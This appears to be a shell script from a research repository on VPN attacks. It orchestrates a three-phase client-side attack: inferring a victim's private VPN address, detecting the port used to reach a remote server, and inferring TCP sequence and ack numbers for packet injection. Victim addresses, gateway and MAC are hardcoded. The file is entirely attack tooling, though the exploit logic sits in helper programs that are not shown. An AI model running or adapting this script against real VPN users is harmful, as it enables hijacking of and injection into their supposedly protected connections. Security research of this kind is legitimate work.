vpn-attacks/client-side-attack/complete_attack/attack.sh

REMOTE_ADDR=$1
REMOTE_PORT=80

VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
WLAN_GATEWAY=192.168.12.1  # address of local network gateway
VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
PRIV_NETMASK=255.255.255.0

REQUEST_SIZE=529
DEST_MAC=a4:34:d9:53:92:c4
INTERFACE=wlp1s0

echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"

echo `date`
echo "attempting to infer client's private VPN address.."

cd ../first_phase


PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
echo "phase 1 client private IP: ${PRIV_IP}"

echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo `date`
echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
cd ../sec_phase
VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
echo "phase 2 port result: ${VPORT}"

echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo `date`
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
cd ../third_phase
./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE

echo `date`